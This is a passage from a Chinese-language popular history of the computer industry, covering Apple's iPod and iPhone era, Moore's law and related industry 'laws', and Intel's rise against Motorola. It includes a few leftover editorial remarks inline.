的电池一次充电后的可播放的时间高达十个小时，比以往的各种播放器都长得多。同时，苹果 iPod 的外观设计非常漂亮，所以，从它在 2001 年一推出来，就很受爱听音乐的年轻人喜欢。仅一年，iPod 的销售就突破一亿美元。又过了一年多，iPod 的销售额接近 10 亿美元，占公司营业额的 15%。去年，iPod 的销售额近八十亿美元，占整个苹果收入的四成。苹果公司的股票从 2003 年的最低点开始，至今已经涨了 20 倍。今天，iPod 已经不仅仅是一个简单的播放器，而是一个不小的产业。不同的厂家，从音箱生产厂到汽车公司，都在主动为 iPod 设计和制造各种配套产品，比如音箱、耳机、汽车音响，甚至是皮套等等。就有点像有无数软件公司在微软的操作系统上主动开发应用程序。神奇小子乔布斯终于再现辉煌。\n3.4 大难不死\n从 2004 年到 2006 年，乔布斯和苹果都经历的两场大的劫难，但都奇迹般地生存下来。\n2004 年，乔布斯患上癌症，医生估计他最多还能活 3 到 6 个月。医生建议他回去把一切都安排好，其实就是在暗示他\"准备后事\"。医生马上给他做了手术，很幸运的是，那是一种少见的可治愈的恶性肿瘤。手术后，他很快就好了。这次经历，使乔布斯对死亡有了真正的认识。他认为，死亡推动着生命进化和变迁，旧的不去，新的不来。现在，新的人和新的技术，在不久的将来，也会逐渐成为旧的，也会被淘汰。苹果没有沉浸在 iPod 的成功中，加紧了新品的开发。\n苹果公司这两年也不太顺，经历了产品受阻和期权风波。\n华尔街总是期望上市公司不断创造营收的奇迹。为了获得进一步增长，在垄断了播放器市场后，2003 年苹果开始寻求在高额利润的音乐市场上分一杯羹。世界上整个音乐市场当时被五家大的唱片公司百代（EMI）、环球（Universal）包括下属的宝丽金、华纳兄弟（Warner Brothers）、Sony 和 BMG 垄断。后两家今天已经合并。这五家基本上各自签约不同的艺术家、各卖各的音乐，共同维持着一个高利润的市场。大部分听众可能都有一个体验，就是每个人可能只喜欢一张唱片中的一两首曲子而不是全部，但是，买 CD 时必须整张 CD 一起买。苹果建议唱片公司和它一起开发音乐付费下载市场，把一个专辑拆成一首首的曲子来卖，这样听众可以只选择自己喜欢的来下载。这个主意当然很好，问题是唱片公司和苹果如何分成，当然谁都想多得一些。乔布斯是个非常优秀的谈判高手，他把在价格上最强硬的 Sony 放在最后，他和其它四家公司共同达成了协议，Sony 只好就范，否则就永远被隔离在广大的 iPod 用户群以外。苹果推出音乐付费下载以来，下载量远比想象的要增长得慢。整个 2006 年，苹果公司在股市上的表现都不好，这时，苹果又爆出了期权风波，更是雪上加霜。关于这个风波媒体上报道很多，大致情况如下：想了解美国的高科技公司，必须了解它的股票期权制度。在传统的公司里，一个员工的收入和福利包括奖金和退休金等现金。一般员工并不拥有公司的一部分。很多高科技公司，为了将员工的利益和公司的前途绑在一起，发给员工一些股票的期权（Stock Option）。所谓期权就是在一定时间，比如十年内，按一定价格，比如当前市场价购买股票的权利。获得期权的员工，会对公司有主人翁的责任感。如果公司的股票上涨，那么拥有股票期权的人可以以过去低的价格买进股票，即所谓的 exercise，然后以现在高的价钱卖出，从中赚到差价。股权只有当公司股票不断上涨时才有意义。遗憾的是，没有一个公司的股票只涨不落，因此股权有时会变得毫无意义。一些公司为了让股权变得有意义，在中间做手脚，修改股权授予时间，用最低的价钱将股票授予管理层和员工。苹果公司就是在这件事上栽了跟头。2006 年，美国证监会开始调查苹果公司这一行为。经过长期调查，证监会掌握了确凿的证据，苹果公司终于低头了，并交了罚款。最后，苹果公司首席财务官安德森（Fred Anderson）为此受罚。\n从后来的情况发展看，这位被解雇的财务官觉得委屈，跑到《华尔街日报》去鸣冤。乔布斯一手对付证监会的调查，一手开发新品。2006 年底，苹果公司推出了 Apple TV。Apple TV 不是任何意义上的电视机，而是一个豆腐块大小的计算机，这个盒子可以存储几千小时的音乐或者几十小时的电影。它一头可以和互联网连接，下载音乐和电影，另一头，和家里的电视机和音响连接，播放出环绕立体声、高清晰度的音像。别小看了这个价格和 iPod 差不多的豆腐块，它很有可能成为未来每一个家庭客厅的娱乐中心。很多人认为，在个人电脑之后，家庭的娱乐中心将成为一个新的产业。事实上，十年前，盖茨在他的\"未来之路\"中预言音像制品将数字化，可以根据用户特殊需求下载并存在一个服务器中，这个服务器可以管理和控制所有的家电。现在盖茨的这个梦想快实现了，但是却让苹果抢先了一步。现在，在这个领域有三个候选者，苹果、微软和 Sony，后两者靠各自的游戏机作为家庭娱乐中心。苹果拥有最大的 iPod 用户群，微软有很强的技术储备，Sony 有领先的蓝光（Blu-Ray）DVD 技术，谁能笑到最后还不知道。\n苹果的第二个新的拳头产品就是前不久刚上市的 iPhone 手机。我有幸在第一时间目睹和试用了这个革命性的产品。说实话，这是我见到的最好的手机。它已经超出一个普通的手机加 iPod 播放器，它还具有了一个完整的、联网的计算机和一般电视机的主要功能。用它上网查邮件和冲浪的体验和用一般手机是不同的。至于其它很酷的功能，各种新闻已经有了很多报道，我就不再赘述了。虽然它六百美元的价格实在贵了点，但是根据电器十八个月降一半价钱的规律，iPhone 很有可能成为今后普及的手机，成为苹果即 iPod 以后新的成长点，它甚至会冲击传统的手机行业。\n如果稍微比较一下苹果十年前的产品和现在的产品，我们很容易发现，苹果早已经不是一个单纯的个人电脑生产厂商，因为它有大量类似家电的产品，比如 iPod、Apple TV 和 iPhone。因此，一些专家认为，苹果正在从计算机公司像家电公司过度。但是，这些产品和传统的家电又不一样，每样东西都给人耳目一新的感觉，让人看了后，不由地发出感慨—原来这东西还可以这么玩儿。今天，苹果已经成为一种时尚家电的品牌。如果要问什么是创新，这就是创新！\n结束语\n三十年来，苹果公司经历了从波峰到低谷再回到浪尖之巅的过程。它的兴衰和它创始人的沉浮完全重合。从苹果公司诞生到它开发出麦金托什，可以认为是它的第一个发展期，麦金托什的出现，使得它领先于微软而站在了浪尖上。中间的近二十年，苹果到了几乎被人遗忘的地步。好在它像艺术家一般的创新的灵魂未死，并且在它的创始人再次归来之后，得到再生和升华。乔布斯送给年轻人两句话，永远渴望、大智若愚（Stay Hungry. Stay Foolish），愿与诸君共勉。\n第4章 计算机工业的生态链\n整个信息技术（Information Technologies，简称 IT）产业包括很多领域、很多环节，这些环节之间都是互相关联的。和世界上任何事物同样， IT 产业也是不断变化和发展并且有着它自身发展规律的。这些规律，被 IT 领域的人总结成一些定理，称为 IT 定理（IT Laws）。我们结合一些具体的例子，分几次介绍这些定理。在这一章中，我们将介绍摩尔定理、安迪-比尔定理和反摩尔定理。这三个定理和在一起，描述了 IT 产业中最重要的组成部分——计算机行业的发展的规律。\n4.1 摩尔定理（Moore’s Law）\n科技行业流传着很多关于比尔·盖茨的故事，其中一个是他和通用汽车公司老板之间的对话。盖茨说，如果汽车工业能够像计算机领域一样发展，那么今天，买一辆汽车只需要 25 美元，一升汽油能跑四百公里。通用汽车老板反击盖茨的话我们暂且不论，这个故事至少说明计算机和整个 IT 行业的发展比传统工业要快得多。\n最早看到这个现象的是英特尔公司的创始人戈登·摩尔（Gordon Moore）博士。早在 1965 年，他就提出，在至少十年内，集成电路的集成度会每两年翻一番。后来，大家把这个周期缩短到十八个月。现在，每十八个月，计算机等 IT 产品的性能会翻一番；或者说相同性能的计算机等 IT 产品，每十八个月价钱会降一半。虽然，这个发展速度令人难以置信，但几十年来 IT 行业的发展始终遵循着摩尔定理预测的速度。\n一九四五年，世界上第一台电子计算机 ENIAC 的速度是能在一秒钟完成 5000 次定点的加减法运算。这个三十米长、两米多高的庞然大物，重 27 吨，耗电十五万瓦。今天，使用英特尔酷睿的个人电脑计算速度是每秒 500 亿次浮点运算，至少是 ENIAC 的一千万倍，体积耗电量就更不用比了。而当今（2007 年 6 月）世界上最快的计算机 IBM 的蓝色基因（BlueGene/L），速度高达每秒钟三百六十七万亿次浮点运算，是 ENIAC 的七百三十四亿倍，正好是每二十个月翻一番，和摩尔定理的预测大致相同。尽管计算机的速度如此，存储容量的增长更快，大约每十五个月就翻一番。1976 年，苹果计算机的软盘驱动器容量为 160KB，大约能存下 80 页的中文书。今天，同样价钱的台式个人电脑硬盘容量可以到 500GB，是当时苹果机的三百万倍，可以存得下北京大学图书馆藏书的全部文字部分。不仅如此，这十几年来，网络的传播速度也几乎是按摩尔定理预测的速度在增长。十三年前，我有幸成为中国第一批上网的用户，那时还是通过高能物理所到斯坦福大学线性加速实验室的一根专用线路和互联网相联，当时电话调制解调器的速度是 2.4K，如果下载谷歌拼音输入法需要八个小时。现在，商用的 ADSL 通过同样一根电话线可以做到 10M 的传输率，是十三年前的四千倍，几乎每年翻一番，下载谷歌拼音只要十秒钟左右。在世界经济的前五大行业中，即金融、信息技术（IT）、医疗和制药、能源和日用消费品，只有 IT 一个行业可以以持续翻番的速度进步。\n人们多次怀疑摩尔定理还能适用多少年，就连摩尔本人一开始也只认为 IT 领域可以按这么高的速度发展十年。而事实上，从二战后至今，IT 领域的技术进步一直是每一到两年翻一番，至今看不到停下来的迹象。在人类的文明史上，没有任何一个其它行业做到了这一点。因此，IT 行业必然有它的特殊性。\n和任何其它商品相比，IT 产品的制造所需的原材料非常少，成本几乎是零。以半导体行业为例，一个英特尔的酷睿双核处理器集成了二点九亿个晶体管，三十年前的英特尔 8086 处理器仅有三万个晶体管。虽然二者的集成度相差近一万倍，但是所消耗的原材料差不太多。IT 行业硬件的制造成本主要是制造设备的成本。据半导体设备制造商 Applied Materials 公司介绍，建一条能生产 65 纳米工艺酷睿双核芯片的生产线，总投资在 20 到 40 亿美元。去年，英特尔公司的研发费用为六十亿美元。当然，我们不能将它全部算到酷睿的头上，但是英特尔平均一年也未必能研制出一个酷睿这样的产品，所以它的研发费用应当和英特尔一年的预算相当。假如我们将这两项成本平摊到前一亿片酷睿处理器中，平均每片要摊上近一百美元。这样，当英特尔公司收回生产线和研发两项主要成本后，酷睿处理器就可以大幅度降价。去年英特尔处理器销量在两亿片左右，因此，一种新的处理器收回成本的时间不会超过一年半。通常，用户可以看到，一般新的处理器发布一年半以后，价格会开始大幅下调。当然，英特尔的新品此时也已经在研发中。\n摩尔定理主导着 IT 行业的发展。首先，为了能使摩尔定理成立，IT 公司必须在比较短的时间内完成下一代产品的开发。这就要求，IT 公司在研发上必须投入大量的资金，这使得每个产品的市场不会有太多的竞争者。在美国，主要 IT 市场大都只有一大一小两个主要竞争者。比如，在计算机处理器芯片方面，只有英特尔和 AMD；在高端系统和服务方面，只有 IBM 和太阳；在个人电脑方面，是惠普和戴尔（戴尔这个有点奇怪，它的研发投入大么？）。其次，由于有了强有力的硬件支持，以前想都不敢想的应用会不断涌现。比如，二十年前，将高清晰度电影（1920 x 1080 分辨率）数字化的计算量连 IBM 的大型机也无法胜任；现在，一台笔记本大小的 Sony 游戏机就可以做到。这就为一些新兴公司的诞生创造了条件。比如，在十年前，不会有人去想办一个 YouTube 这样的公司，因为那时候网络的速度无法满足在网上看录像的要求；现在 YouTube 已经融入了老百姓的生活。同样，现在的研发必须针对多年后的市场。我们不妨往后看十年，如果我现在提出十年后每家上网的速度将提高一千倍，也许有人觉得我疯了。事实上，这是一个完全能够达到的目标。如果做到了这一点，我们每个家庭可以同时点播三部高清晰度、环绕立体声的电影，在三个不同的电视机上收看。还可以随时快进和跳跃到下一章节，在任何时候停下来后，下次可以接着看。在看三部电影的同时，我们可以把自己的照片、录像和文件等信息存到一个在线的服务器上，从家里访问起来就如同存在自己本机上一样快。这并不是我自己杜撰出来的幻想，而是思科（Cisco）和微软等公司实施的 IP TV 的计划。再次，现有的 IT 公司必须有办法消除摩尔定理带来的不利因素，即每十八个月价格降一半。这一点，我们在接下来的两节中在讨论。\n4.2 安迪-比尔定理（Andy and Bill’s Law）\n摩尔定理给所有的计算机消费者带来一个希望，如果我今天嫌计算机太贵买不起，那么我等十八个月就可以用一半的价钱来买。要真是这样简单的话，计算机的销售量就上不去了。需要买计算机的人会多等几个月，已经有计算机的人也没有动力更新计算机。其它的 IT 产品也是如此。\n事实上，在过去的二十年里，世界上的个人微机销量在持续增长。2004 年，英特尔公司估计，五年内，即到 2009 年，世界上 PC（包括个人机和小型服务器）的销量会增长 60%，远远高于经济的增长。那么，是什么动力促使人们不断地更新自己的硬件呢？IT 界把它总结成安迪-比尔定理，即比尔要拿走安迪所给的（What Andy gives, Bill takes away）。\n安迪是原英特尔公司 CEO 安迪·格鲁夫（Andy Grove），比尔就是微软的创始人比尔·盖茨。在过去的二十年里，英特尔处理器的速度每十八个月翻一番，计算机内存和硬盘的容量以更快的速度在增长。但是，微软的操作系统等应用软件越来越慢，也越做越大。所以，现在的计算机虽然比十年前快了一百倍，运行软件感觉上还是和以前差不多。而且，过去整个视窗操作系统不过十几兆大小，现在要几千兆，应用软件也是如此。虽然新的软件功能比以前的版本强了一些，但是，增加的功能绝对不是和它的大小成比例的。因此，一台十年前的计算机能装多少应用程序，现在的也不过装这么多，虽然硬盘的容量增加了一千倍。更糟糕的是，用户发现，如果不更新计算机，现在很多新的软件就用不了，连上网也是个问题。而十年前买得起的车却照样可以跑。\n这种现象，乍一看来是微软在和大家做对。实际上，盖茨本人和其它厂商也不想把操作系统和应用程序搞得这么大。据了解，盖茨本人多次说，他过去搞得 BASIC 只有几十 K，你们（微软工程师们）搞一个.NET 就要几百兆，其中一定可以优化。当然，我们知道微软现在的.NET 比二十年前的 BASIC 功能要强的多，但是否强了一万倍，恐怕没有人这么认为。这说明，现在软件开发人员不再像二十年前那样精打细算了。我们知道，当年的 BASIC 解释器是用汇编语言写成的，精炼得不能再精炼了，否则在早期的 IBM-PC 上根本运行不了。但是，要求软件工程师使用汇编语言编程，工作效率是极低的，而且写出的程序可读性很差，不符合软件工程的要求。今天，由于有了足够的硬件资源，软件工程师做事情更讲究自己的工作效率，程序的规范化和可读性等等。另外，由于人工成本的提高，为了节省软件工程师写程序和调程序的时间，编程的语言越来越好用，同时效率却越来越低。比如，今天的 Java 就比 C++ 效率低得多，C++ 又比二十年前的 C 效率低。因此，即使是同样功能的软件，今天的比昨天的占用硬件资源多是一件在所难免的事。\n虽然用户很是烦恼新的软件把硬件提升所带来的好处几乎全部用光，但是在 IT 领域，各个硬件厂商恰恰是靠软件开发商用光自己提供的硬件资源得以生存。举个例子，到去年上半年为止，因为微软新的操作系统 Vista 迟迟不能面市，从英特尔到惠普、戴尔等整机厂商，再到 Marvell 和 Seagate 等外设厂商，全部销售都受到很大的影响，因为用户没有更新计算机的需求。这些公司的股票不同程度地下跌了 20% 到 40%。去年底，微软千呼万唤始出来的 Vista 终于上市了，当然微软自己的业绩和股票马上得到提升，萧条了一年多的英特尔也在今年初扭转的颓势，当然惠普和戴尔也同时得到增长。今年，这三家公司的股票都有大幅度上涨。接下来不出意外的话，该轮到硬盘、内存和其它计算机芯片的厂商开始复苏了。Vista 相比前一个版本 XP，也许多提供了 20% 的功能，但是它的内存使用几乎要翻两番，CPU 使用要翻一番，这样，除非是新机器，否则无法运行 Vista。当然，用户可以选择使用原来的操作系统 XP，但是很快的，微软和其它软件开发商会逐渐减少对 XP 系统的支持，这样就逼着用户更新机器。\n我们可以看出，个人电脑工业整个的生态链是这样的：以微软为首的软件开发商吃掉硬件提升带来的全部好处，迫使用户更新机器让惠普和戴尔等公司收益，而这些整机生产厂再向英特尔这样的半导体厂订货购买新的芯片、同时向 Seagat e等外设厂购买新的外设。在这中间，各家的利润先后得到相应的提升，股票也随着增长。各个硬件半导体和外设公司再将利润投入研发，按照摩尔定理制定的速度，提升硬件性能，为微软下一步更新软件、吃掉硬件性能做准备。华尔街的投资者都知道，如果微软的开发速度比预期的慢，软件的业绩不好，那么就一定不能买英特尔等公司的股票了。\n对用户来讲，现在买一台能用的计算机和十年前买一台当时能用的计算机，花出去的钱是差不多的，如果不是“中国制造”效应的影响，还会因为通货膨胀略有提高。（这句话是不是应该是这样：如果不是“中国制造”效应的影响，对用户来讲，现在买一台能用的计算机和十年前买一台当时能用的计算机，花出去的钱是差不多的，甚至还会因为通货膨胀略有提高。原来的意思是现在同原来没有什么差别，因为我自己感觉是便宜了。修改后的结果是因为中国制造，现在比原来便宜了。）当然，微软和其它软件开发商在吃掉大部分硬件提升好处的同时，或多或少地会给用户带来一些新东西。\n如果说在美国，始于二十年前的信息革命是基于个人电脑和互联网的，那么在亚洲，主流则是手机和移动通信。今天的手机一般都有两个处理器，一个数字信号处理器（DSP）和一个与微机处理器类似的通用处理器（CPU）今天，一个中档手机的计算性能，超过了五年前的个人微机，而且还按着摩尔定理预计的速度在增长。虽然在手机行业，并没有一个类似微软的通用操作系统公司存在，但是手机制造商自己、运营商和增值服务商加在一起起到了微软的作用。它们在提供新的但是越来越消耗资源的服务，使得用户不得不几年更新一次手机。\n就这样，安迪-比尔定理把原本属于耐用消费品的电脑、手机等商品变成了消耗性商品，刺激着整个 IT 领域的发展。\n4.3 反摩尔定理（Reverse Moore’s Law）\nGoogle（谷歌）的 CEO 埃里克·施密特在一次采访中指出，如果你反过来看摩尔定理，一个 IT 公司如果今天和十八个月前卖掉同样多的、同样的产品，它的营业额就要降一半。IT 界把它称为反摩尔定理。反摩尔定理对于所有的 IT 公司来讲，都是非常可悲的，因为一个 IT 公司花了同样的劳动，却只得到以前一半的收入。反摩尔定理逼着所有的硬件设备公司必须赶上摩尔定理规定的更新速度。事实上，所有的硬件和设备生产厂活得都是非常辛苦的。下表中列举了各个领域最大的公司今天的股值和他们最高值地比例。\nIBM: 82%.\nCISCO: 40%\nIntel: 33%\nAMD: 30%\nMarvel: 60%\nHP: 70%\nDell: 35%\nSun Microsystems: 10%\nMotorola: 33%\n这里面，除了 IBM 不单纯是硬件厂商，而有很强的服务和软件收入得以将股票维持在较高的水平，其余的公司和它们最好水平相去甚远。而今天，美国股市几乎是在历史最高点。这说明，以硬件为主的公司因为反摩尔定理的影响，生计之艰难。如果有兴趣读一读这些公司财报的话，就会发现，这些公司的发展波动性很大，一旦不能做到摩尔定理规定的发展速度，它们的盈利情况就会一落千丈。有的公司甚至会有灭顶之灾，比如十年前很红火的 SGI 公司。即使今天它们发展的不错，却不能保证十年以后仍然能拥有翻番进步，因此，投资大师巴菲特从来不投这些 IT 公司。\n事实上，反摩尔定理积极的一面更为重要，它促成科技领域质的进步，并为新兴公司提供生存和发展的可能。和所有事物的发展一样，IT 领域的技术进步也有量变和质变两种。比如说，同一种处理器在系统结构（Architecture）没有太大变化，而只是主频提高了，这种进步就是量变的进步。当处理器由十六位上升到三十二位，再到六十四位时，就有了小的质变。如果哪一天能用到纳米技术或者生物技术，那么就做到了质的飞跃，半导体的集成度会有上百倍的提高。为了赶上摩尔定理预测的发展速度，光靠量变是不够的。每一种技术，过不了多少年，量变的潜力就会被挖掘光，这时就必须要有革命性的创造发明诞生。\n在科技进步量变的过程中，新的小公司是无法和老的大公司竞争的，因为后者在老的技术方面有无以伦比的优势。比如，木工厂出身的诺基亚在老式的模拟手机上是无法和传统的通信设备老大摩托罗拉竞争的。但是，在抓住质变机遇上，有些小公司会做得比大公司更好而后来居上，因为它们没有包袱，也比大公司灵活。这也是硅谷出现了众多的新技术公司的原因。\n十三年前，我最早上网时用的是一个 2.4千波特率（Kbps）的调制解调器。两年后，我的一个同学，中国最早的互联网公司东方网景的创始人送了我一个当时最新的 14.4 Kbps 的调制解调器，我马上感觉速度快多了。由于我们今天数字电话传输率本身限制在 64Kbps，因此调制解调器的传输率最多到 56Kbps，所以到 1995 年，我的几个同事就预言用电话线上网速度超不过这个极限。如果停留在用传统的方法对调制解调器提速，确实要不了几年摩尔定理就不适用了。但是到了九十年代，出现了 DSL 技术，可以将电话线上的数据传输速度提高近二百倍。DSL 技术虽然最早由贝尔核心实验室发表，但真正把它变为实用技术的是斯坦福大学的约翰·查菲教授。查菲教授三十几岁就成为了 IEEE 的资深会员（Fellow），刚四十岁就成为了美国工程院院士。1991 年，他带着自己的几个学生，办起了一家做 DSL 的小公司 Amati。1997 年，他把 Amati 公司以四亿美元的高价卖给了德州仪器（TI）。这是硅谷新技术公司典型的成功案例。在调制解调器发展的量变阶段，就不会有 Amati 这样的小公司出现，即使出现了，也无法和德州仪器竞争。但是，一旦调制解调器速度接近原有的极限时，能够突破这个极限的新兴公司就有机会登上历史的舞台。\n反摩尔定理使得 IT 行业不可能像石油工业或者是飞机制造业那样只追求量变，而必须不断寻找革命性的创造发明。因为任何一个技术发展赶不上摩尔定理要求的公司，用不了几年就会被淘汰。大公司们，除了要保持很高的研发投入，还要时刻注意周围和自己相关的新技术的发展，经常收购有革命性新技术的小公司。它们甚至出钱投资一些有希望的小公司。在这方面，最典型的代表是思科公司，它在过去的二十年里，买回了很多自己投资的小公司。\n反摩尔定理同时使得新兴的小公司有可能在发展新技术方面和大公司处在同一个起跑线上。如果小公司办得成功，可以像 Amati 那样被大公司并购（这对创始人、投资者以及所有的员工都是件好事）。甚至它们也有可能取代原有大公司在各自领域中的地位。例如，在通信芯片设计上，广通（BroadCom）和 Marvell 在很大程度上已经取代了原来的朗讯的半导体部门，甚至是英特尔公司在相应领域的业务。\n当然，办公司是需要钱的，而且谁也不能保证对一个新兴公司的投资一定能够得到收益。有些愿意冒风险而追求高回报的投资家将钱凑在一起，交给既懂得理财又懂得技术的专业人士打理，投给有希望的公司和个人，这就渐渐形成了美国的风险投资机制。办好一个高科技公司还需要有既志同道合又愿意承担风险的专业人才，他们对部分拥有一个公司比相对高的工资更感兴趣，因此就有了高科技公司员工的期权制度。\nIT 行业发展至今，自有它的生存发展之道。它没有因为价格的不断下降而萎缩，而是越来越兴旺。我们以后还会陆续介绍它的发展规律。\n第5章 奔腾的芯：英特尔－Intel\n在美国西海岸旧金山到圣荷西市（San Jose）之间，围绕着旧金山海湾有几十公里长，几公里宽的峡谷，通常称为硅谷。（在图中绿线圈出来的部分）那里之所以叫硅谷并不是因为它生产硅，而是它有很多是使用硅的半导体公司，包括全世界最大的半导体公司英特尔公司。全世界一大半的计算机都是用它的中央处理器（CPU），它对我们日常生活的影响是很少有公司可以匹敌的。我们在上一章介绍了摩尔定理和安迪-盖茨定理，其中摩尔是英特尔公司的创始人，而安迪.格罗夫是第四个加入英特尔并把英特尔公司真正发展成世界上最大的半导体公司的 CEO。今天，英特尔已经有近十万人，年产值达三百六十亿美元，市值高达一千四百亿美元。三十多年来，英特尔公司成功的关键首先是搭上了个人电脑革命的浪潮，尤其是有微软这个强势的伙伴；第二，它三十年来严格按照它的创始人预言的惊人的高速度在为全世界 PC 机用户提高着处理器的性能，用它自己的话讲，它给了每台微机一个奔腾的芯。\n 图5-1硅谷位置图\n5.1 时势造英雄\n英特尔公司由戈登·摩尔（Gordon E. Moore）和罗伯特.诺伊斯（Robert Noyce）于 1968 年创立于硅谷。此前，摩尔和诺伊斯在 1956 年还和另外六个人一起创办了仙童（Fairchild）半导体公司。同 IBM、DEC 和惠普等公司相比，英特尔在很长时间内只能算是一个婴儿。说它是婴儿有两方面含义，第一，它是个人数少、生意小的小公司，第二，在八十年代以前，几乎所有的计算机公司如 IBM、DEC 都是自己设计中央处理器，因此这些计算机公司代表了处理器设计和制造的最高水平，而英特尔生产的是性能低的微处理器，是用来补充大计算机公司看不上的低端市场。单纯从性能上讲，英特尔八十年代的处理器还比不上 IBM 七十年代的，但是，它的处理器大家用得起，不是阳春白雪。即使在七十年代末，英特尔公司生产出了著名的十六位 8086 处理器，大家仍然将它看成小弟弟。在很长时间里，英特尔的产品被认为是低性能、低价格。虽然它的性价比很高，但并不是尖端产品。\n虽然 8086 是我们今天所有 IBM PC 处理器的祖宗，但是，当时连英特尔自己也没有预测到它的重用性。当时英特尔公司对 8086 并没有一个明确的市场定位，只是想尽可能多地促销。IBM 只不过是英特尔当时众多大大小小的客户之一。1981 年，IBM 为了短平快地搞出 PC，也懒得自己设计处理器，拿来英特尔的 8086 就直接用上了。这一下子，英特尔一举成名。1982 年，英特尔搞出了和 8086 完全兼容的第二代 PC 处理器 80286，用在了 IBM PC/AT 上。由于 IBM 无法阻止别人造兼容机，随着 1985 年康柏（Compaq）造出了世界上第一台 IBM PC 的兼容机，兼容机厂商就像雨后春笋般在全世界冒了出来。这些兼容机硬件不径相同，但是为了和 IBM PC 兼容，处理器都得是英特尔公司的。下图是整个个人电脑工业的生态链。\n 图5-2个人电脑工业的生态链\n可以看出在这个生态链中，只有作为操作系统开发商的微软和作为处理器制造商的英特尔处于一个不可替代的地位。因此，英特尔的崛起就成为历史的必然。这正是时势造英雄。\n当然，虽然信息革命的浪潮将英特尔推上了前沿，英特尔还必须有能力来领导计算机处理器的技术革命。英特尔的 CEO 安迪·格罗夫在机会和挑战面前，最终证明了英特尔是王者。英特尔起步的八十年代恰恰是日本的十年，当时日本股市的总市值占了全世界的一半，日本东京附近的房地产总值相当于半个美国的房市总值。世界上最大的三个半导体公司都在日本，PC 里面日本芯片一度占到数量的 60%（注意：不是价钱的 60%）。以至于日本有些政治家盲目自大，认为日本到了全面挑战美国的时候，全世界都在怀疑美国在半导体技术上是否会落后于日本。但是冷静地分析一下全世界半导体市场就会发现，日本的半导体工业集中在技术含量低的芯片上，如存储器等芯片（即内存），而全世界高端的芯片工业，如计算机处理器和通信的数字信号处理器全部在美国。八十年代，英特尔果断地停掉了它的内存业务，将这个市场完全让给了日本人，从此专心做处理器。当时日本半导体公司在全市界挣了很多钱，日本一片欢呼，认为它们打败了美国人。其实，这不过是英特尔等美国公司弃子求势的一招棋。1985 年，英特尔公司继摩托罗拉后，第二个研制出 32 位的微处理器 80386，开始扩大它在整个半导体工业的市场份额。这个芯片的研制费用超过三亿美元，虽然远远低于现在英特尔新的处理器芯片的研制成本，但在当时确实是一场豪赌，这笔研制费超过中国当时在一个五年计划中对半导体科研全部投入的好几倍。英特尔靠 80386 完成了对 IBM PC 兼容机机市场一统江湖的伟业。\n接下来到了 1989 年，英特尔推出了从 80386 到奔腾处理器的过渡产品 80486，它其实是 80386 加一个浮点处理器 80387 以及缓存（Cache）。靠 80486 的销售，英特尔超过所有的日本半导体公司，坐上了半导体行业的头把交椅。顺便说句题外话，今天日本的股市不到 1990 年 40%的水平，可是美国却涨了五倍。1993 年，英特尔公司推出奔腾处理器。从奔腾起，英特尔公司不再以数字命名它的产品了，但是在工业界和学术界，大家仍然习惯性地把英特尔的处理器称为 x86 系列。\n奔腾的诞生，使英特尔甩掉了只会做低性能处理器的帽子。由于奔腾处理器的速度已经达到工作站处理器的水平，高端的微机从那时起，开始取代低性能的图形工作站。到今天，即使是最早生产工作站的太阳公司和世界上最大的计算机公司 IBM 以及以前从不使用英特尔处理器的苹果公司，都开始在自己的计算机中使用英特尔的或者和英特尔兼容的处理器了。现在，英特尔已经垄断了计算机处理器市场。\n5.2 英特尔摩托罗拉之战\n资金密集型的日本半导体公司终究不可能是技术密集型的英特尔公司的对手。英特尔公司迄今唯一遇到的重量级对手只有八十年代的摩托罗拉。正如同罗马帝国的崛起是通过在布匿战争中打败原有的霸主迦太基而完成的，英特尔的崛起是靠击败老牌半导体公司摩托罗拉而实现的。摩托罗拉成立于 1928 年，早在二战期间，它就是美军无线通信的供应商。从六十年代起，它在通信和集成电路方面领先于世界。摩托罗拉比英特尔早两年推出在小数运算性能上五倍好于 8086 的 16 位微处理器 68000。68000 这个名字是以它集成的晶体管数目六万八千个而获得的。而 8086 只有不到三万个晶体管。当时，不少工作站包括惠普、太阳和已经不存在的阿波罗等等都采用的是摩托罗拉的处理器。在英特尔搞出 80286 的同一年（1982 年），摩托罗拉推出了在性能上明显好于 80286 的 68010，继续作为当时主要工作站的处理器。据说英特尔为了和摩托罗拉竞争在型号上耍了个小花招，英特尔公司第二代处理器本来应该命名为 80186，但是英特尔将这个编号留给了一个不重要的输入输出处理芯片，而将它的系列处理器的编号一下跳到 80286，不懂技术的人还以为英特尔的处理器比摩托罗拉高一代。在 32 位微处理器的较量中，摩托罗拉在技术上和推出的时间上完全占了上风，它接下来的 68020 明显好于英特尔的 80386，除了被用于主要的工作站上，68020 还并被苹果选为麦金托什的处理器。\n这时，英特尔公司从外部得到了强援。由于 IBM PC 兼容机的逐步普及，技术上相对落后的英特尔反而占了更多的市场份额。虽然，摩托罗拉后来又推出了对应于英特尔 80486 的 68030，但是，这时各个工作站公司都开始开发自己减指指令（RISC)的处理器，摩托罗拉只剩下苹果一个用户便很难和英特尔竞争了。几年后，摩托罗拉干脆自己也加入了 RISC 的行列做起 PowerPC，十年后，随着苹果也开始使用英特尔的处理器，摩托罗拉彻底推出了微机处理器市场。\n摩托罗拉并没有败在技术和资金上，八十年代以前，摩托罗拉在资金、技术各方面都明显强于英特尔。在很长时间里，它的处理器从性能上讲要优于英特尔的同类产品。摩托罗拉之败，首先是外界微软的因素，即英特尔有了微软这个没有签约的同盟军。但是，摩托罗拉自己在商业、管理和市场诸方面也有很多失误。如果摩托罗拉自己经营得当，它今天应该能通过精简指令集的处理器守住工作站和苹果的市场。\n要分析摩托罗拉之败，我们不妨来比较一下英特尔和摩托罗拉这两个公司。首先，这是两个不同时代的公司。总部在美国中部伊利诺斯州的摩托罗拉虽然也是一个高技术公司，也经历了八十年代的信息革命，但是它的作态完全还是五六十年代的传统的公司。虽然摩托罗拉对雇员在工资和福利上待遇不错，但是公司和员工，基本上还是传统的雇佣关系，公司内部管理层次较多，大部分员工基本上没有多少股票期权。因此，公司的业绩和员工的利益关系不大。英特尔公司则是一的典型的硅谷公司。每个员工的工作强度比摩托罗拉要大很多，但是每个人平均的股票期权也多很多。硅谷几个比较好的学区的房子，不少被英特尔公司的早期员工买走了，而这些房子靠工资是一辈子也买不起的。几年前，美国历史频道（History Channel）在节目中评论了中日甲午战争。美国的历史学家认为，这是两个不同时代军队之间的战争，虽然双方武器相差不多，战争的结果不会有任何悬念，因为一个在专制的农业时代后期的军队很难打赢一个兴起的工业化国家的军队。英特尔和摩托罗拉之间的竞争也是如此。\n第二，两个公司的统帅水平相去甚远。英特尔公司八九十年代的 CEO 